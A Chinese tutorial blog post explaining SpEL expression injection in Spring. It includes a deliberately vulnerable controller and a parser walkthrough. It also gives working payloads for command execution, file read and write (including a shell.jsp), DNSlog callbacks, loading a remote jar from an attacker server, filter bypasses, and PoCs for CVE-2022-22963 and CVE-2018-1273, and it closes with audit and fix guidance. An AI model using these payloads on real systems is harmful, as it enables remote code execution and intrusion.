Java表达式注入(SpEL表达式注入)

介绍:

Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言,支持运行时查询和操作对象图 。表达式语言一般是用最简单的形式完成最主要的工作,以此减少工作量。

SpEL 并不与 Spring 直接相关,可以被独立使用。SpEL 表达式的创建是为了向 Spring 社区提供一种受良好支持的表达式语言,该语言适用于 Spring 家族中的所有产品。也就是说,SpEL 是一种与技术无关的 API,可以集成其它表达式语言。

SpEL的用法有三种形式, 一种是在注解@Value中, 一种是XML配置, 最后一种是在代码块中使用Expression.

SpEL 支持如下表达式:

1. 基本表达式

字面量表达式、关系、逻辑与算术运算表达式、字符串连接及截取表达式、三目运算表达式、正则表达式、括号优先级表达式;

2. 类相关表达式

类类型表达式、类实例化、instanceof 表达式、变量定义及引用、赋值表达式、自定义函数、对象属性存取及安全导航表达式、对象方法调用、Bean 引用;

3. 集合相关表达式

内联 List、内联数组、集合、字典访问、列表、字典、数组修改、集合投影、集合选择;不支持多维内联数组初始化;不支持内联字典定义;

4. 其他表达式

模板表达式。

使用:

表达式语法:

直接量表达式

"#{'Hello World'}"

直接使用java代码(只能是java.lang 下的类才可以省略包名)

Expression exp = parser.parseExpression("new Spring('Hello World')");
ExpressionParser parser = new SpelExpressionParser();
Person person = parser.parseExpression("new com.git.hui.boot.spel.Person('一灰灰', 20)").getValue(Person.class);

使用T(Type)

使用“T(Type)”来表示java.lang.Class实例,同样,只有java.lang下的类才可以省略包名。此方法一般用来引用常量或静态方法

parser.parseExpression("T(Integer).MAX_VALUE");
parser.parseExpression("T(com.git.hui.boot.spel.demo.BasicSpelDemo.StaClz).txt").getValue(String.class);

变量

获取容器内的变量,可以使用“#bean_id”来获取。有两个特殊的变量,可以直接使用。

#this 使用当前正在计算的上下文

#root 引用容器的root对象

String result2 = parser.parseExpression("#root").getValue(ctx, String.class);  
public void variable() {
    ExpressionParser parser = new SpelExpressionParser();
    Person person = new Person("一灰灰blog", 18);
    EvaluationContext context = new StandardEvaluationContext();
    context.setVariable("person", person);
    parser.parseExpression("#person.getName()").getValue(context, String.class);
    parser.parseExpression("#person.age").getValue(context, Integer.class);
}

运算符表达式

Java 语法中常规的比较判断,算数运算,三元表达式,类型判断,matches正则匹配等基表表达式

public void expression() {
    ExpressionParser parser = new SpelExpressionParser();// 运算
    System.out.println("1+2= " + parser.parseExpression("1+2").getValue());// 比较
}

另外还有很多语法结构,这里就不一一介绍,只说一些比较主要的,如果读者有兴趣可以自己查找相关文档。

注解@Value:

@Value 注解可以放在字段、方法、以及构造函数参数上,以指定默认值。

public class ElTestServlet extends HttpServlet {
    //@Value("#{ T(java.lang.Runtime).getRuntime().exec(\"calc\") }")
    @Value("#{ \"HELLO WORLD!\" }")
    private String defaultLocale;
    public void ElTestServlet (String defaultLocale) {
        this.defaultLocale = defaultLocale;
    }
    @RequestMapping(value = "/index.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView hello(@RequestParam("username") Object username){
        System.out.print(this.defaultLocale);
        ModelAndView mv = new ModelAndView();
        mv.addObject("username", username);
        mv.setViewName("index");
        return mv;
    }
}

执行后可以看到将defaultLocale赋值:

如果我们将代码修改为下面代码即可弹出计算器:

@Value("#{ T(java.lang.Runtime).getRuntime().exec(\"calc\") }")

 当然不会有人会这样写代码,而且注解中的内容一般攻击者也很难有控制的可能。

XML 配置用法:

可以使用以下表达式来设置属性或构造函数的参数值。

<bean id="number" class="net.biancheng.Number">
    <property name="randomNumber" value="#{T(java.lang.Math).random() * 100.0}"/>
</bean>

也可以通过名称引用其它 Bean 属性,如以下代码。

<bean id="shapeGuess" class="net.biancheng.ShapeGuess">
    <property name="shapSeed" value="#{number.randomNumber}"/>
</bean>

代码就不测试了,针对Bean的修改前端基本不会有权限去修改,所以真实环境这里不可能作为el注入点注入,所以这里有这个东西就行了,不用过多研究。

代码块中使用Expression:

真实环境中基本存在SpEL表达式注入的大部分都存在于这里,一旦参数攻击者可以控制便可以发动攻击,首先了解下代码中如何调用:

SpEL 提供了以下接口和类:

  • Expression interface:该接口负责评估表达式字符串
  • ExpressionParser interface:该接口负责解析字符串
  • EvaluationContext interface:该接口负责定义上下文环境

编写下列代码测试:

    @RequestMapping(value = "/testspel.do",method = RequestMethod.GET)//请求方式设定后,只能用post的提交方式
    public ModelAndView TestSpEL(@RequestParam("spel") String spel){
        // 构造解析器
        ExpressionParser parser = new SpelExpressionParser();
        // 解析器解析字符串表达式
        Expression exp = parser.parseExpression(spel);
        // 获取表达式的值
        String message = (String) exp.getValue();
        System.out.println(message);

        ModelAndView mv = new ModelAndView();
        mv.addObject("spel", message);
        mv.setViewName("testspel");
        return mv;
    }

编写jsp代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    user is: ${spel}
    
</pre>
</body>
</html>

执行后可以看到能够执行:

 

但是当我们使用如下代码,可以成功执行代码弹出计算器:

T(java.lang.Runtime).getRuntime().exec('calc') 

 

代码分析: 

首先编写测试代码,关键代码如下:

    @RequestMapping(value = "/testspel.do",method = RequestMethod.GET)
    public ModelAndView TestSpEL(@RequestParam("spel") String spel){
        // 构造解析器
        ExpressionParser parser = new SpelExpressionParser();
        // 解析器解析字符串表达式
        Expression exp = parser.parseExpression(spel);
        // 获取表达式的值
        String message = (String) exp.getValue();
        System.out.println(message);

        ModelAndView mv = new ModelAndView();
        mv.addObject("spel", message);
        mv.setViewName("testspel");
        return mv;
    }

jsp代码如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    user is: ${spel}
</pre>
</body>
</html>

代码很简单,访问页面的时候添加参数

spel=T(java.lang.Runtime).getRuntime().exec(’calc‘) 

首先会进入parser.parseExpression(spel);进入该方法后主要对传入的spel进行初步的处理:

主要对内容进行处理的函数为InternalSpelExpressionParser的eatPrimaryExpression方法,其中第一处主要对参数类型,如果需要获取class方法则根据.进行第一步处理,第二步针对第一步已经处理好的数组进行处理,提取其中的参数和方法等信息,第三步为对获取到的class类和校验等:

进入InternalSpelExpressionParser的maybeEatTypeReference方法可以看到会根据T判断是否需要获取class对象:

当存在T,需要获取class对象时,对应的处理是进入InternalSpelExpressionParser的eatPossiblyQualifiedId方法,该方法根据字符串进行拆分,这里将我们传入的参数(java.lang.Runtime).getRuntime().exec(‘calc’)拆分可以得到三个数组:

 第一步处理完成后,就进入第二步exp.getValue();对表达式值获取调用:

直接执行可以弹出计算器,添加断点后,先看看堆栈调用,可以看到重要的函数功能为如下方法:

其中对调用方法的获取主要调用了TypeReference的getValueInternal方法,第一处为省略java.lang进行调用,下面的为调用自定义的方法:

具体的调用方法是通过StandardTypeLocator的findType方法反射得到对应的类;

 得到了对应的类和方法等信息后即可调用执行,这里ref中为我们要调用的java.lang.Runtime类和调用的exec方法,以及calc参数:

上面为spel代码执行的大致分析,其实主要分成两步,第一步会对传入的参数根据类型进行处理,如果为Type方法,则根据.进行字符拆分,然后对内容进行提取,得到类,方法,参数。然后就是进入第二步会去反射类,然后调用,即可完成通过spel表达式对任意方法的调用。

利用:

首先就是要知道什么情况下才算存在该漏洞,测试是否存在漏洞可以利用其可以运算,当使用5-2时可以看到结果变为了3,这里需要注意,有些在代码测可能要将其转换为字符串或者其他格式转换有可能会报错,所以除了使用运算符还可以使用其他语法:

 或者我们采用DNSlog平台判断是否有访问,如果http协议不行,可以多换几种协议尝试:

T(Runtime).getRuntime().exec('ping lkljea.dnslog.cn')
new java.net.URL("http://lkljea.dnslog.cn").openConnection().connect()

 知道如何判断是否存在漏洞了,下面看看常用的poc:

执行系统命令:

T(java.lang.Runtime).getRuntime().exec("calc")

T(Runtime).getRuntime().exec("calc") 
T(Runtime).getRuntime().exec(new String[]{"cmd", "/c", "calc"})

new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")

打印目录结构:

new java.util.Scanner(new java.lang.ProcessBuilder("cmd","/c","dir",".\\").start().getInputStream(),"GBK").useDelimiter("allisok").next()

读取文件内容:

new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/D:/work/ceshi.txt"))))

 写文件:

T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/D:/shell.jsp")), '123464987984949'.getBytes())

加载远程class文件:

JVM拥有多种ClassLoader, 不同的ClassLoader会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的jar文件加载, 还包括使用网络服务地址来加载. 这里演示通过UrlClassLoader加载远程的class文件并执行其中的方法:

首先编写代码spelclass.java:

public class spelclass {
    static {
        try {
            String var0 = "calc";
            Runtime.getRuntime().exec(var0);
        } catch (Exception var1) {
            var1.printStackTrace();
        }
        System.out.println();
    }
}

javac spelclass.java编译成class文件,然后使用jar命令打包为jar文件:

jar cvf spelclass.jar .  

然后使用python搭建简单服务器或者将class放到公网的vps上也可以:python -m http.server 8080

然后使用poc:

new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.4.147:8080/spelclass.jar")}).loadClass("spelclass").getConstructors()[0].newInstance("127.0.0.1:8080")

AppClassLoader加载:

AppClassLoader直接面向用户, 它会加载Classpath环境变量里定义的路径中的jar包和目录. 由于双亲委派的存在, 它可以加载到我们想要的类. 使用的前提是获取, 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader:

T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("calc")
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"cmd", "\c", "calc"}).start()

T(org.springframework.expression.spel.standard.SpelExpressionParser).getClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open -a Calculator")

绕过:

如果存在防火墙或者做了白名单设置,可以采取下列思路进行绕过:

绕过 T( 过滤:

可以在T(中添加截断符,spel会将%00解析为空格,并不影响执行:

T%00(java.lang.Runtime).getRuntime().exec("calc")

 反射调用:

如果对加载的el进行了白名单设置,可以采取反射的方式调用:

T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

反序列化执行:

可以将要执行的代码先序列化,然后base64编码后,最后解码反序列化执行:

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))

CVE分析:

根据关键字spel搜索了下,出来了10个漏洞,并不是很全,但是都很致命,毕竟能执行spel表达式内容即可执行命令,和反序列化漏洞差不多,危害还是很大: 

 CVE-2022-22963:

先看看执行的堆栈信息,其中红框内的为此漏洞触发关键点:

第一步会去获取head头中spring.cloud.function.routing-expression的数据:

然后就直接将内容进行了spel解析,触发了spel注入漏洞:

 攻击poc:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calca")

CVE-2018-1273 :

官方给的介绍如下,官方归类为绑定漏洞,怪不得搜spel搜索不到,在绑定的时候错误的解析了数据导致命令执行:

Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.

这个使用git上搭建好的即可,地址如下:

https://github.com/wearearima/poc-cve-2018-1273

poc下面两种均可以:

name[T(java.lang.Runtime).getRuntime().exec("calca")]=123
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123

主要执行漏洞代码位置如下:

首先需要将获取到的前端数据和属性值进行绑定: 

这里会将给定参数key的value进行spel解析,进而导致的spel注入:

 其中map内容如下所示:

 所以其原理也很简单,就是在对参数解析时候并未做限制,导致用户可以控制spel语句,导致的注入问题。

代码审计:

看完上面的分析可以发现,要想利用该漏洞参数一定要可以被当作spel数据进行解析,所以最关键的代码

Expression expression = parser.parseExpression(spel);

只要是调用了parseExpression方法,并且参数可以控制,这样无论是最后调用getValue还是setValue,都会触发漏洞,区别也就是其poc的格式问题,要关注下上下文绑定的数据即可,所以当看到parseExpression时候就要注意其参数是否可控,如果可控且未作控制即可利用。

需要注意的类和方法如下:

// 关键类

org.springframework.expression.Expression
org.springframework.expression.ExpressionParser
org.springframework.expression.spel.standard.SpelExpressionParser

// 调用特征

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(str);
expression.getValue() expression.setValue()

防御:

修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。

官方说明:

https://docs.spring.io/spring-framework/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html

参考代码:

String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(student).build();
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));

总结:

 spel注入原理并不复杂,主要就是要知道其语法结构,只要了解了其语法结构,就知道如果编写spel语句,当发现存在参数可以控制的情况下可以根据其语法结构编写合适的语句进行攻击。另外就是如果需要代码审计只要紧盯着参数来源即可快速判断是否存在问题。

猜你喜欢

转载自blog.csdn.net/GalaxySpaceX/article/details/132322361
今日推荐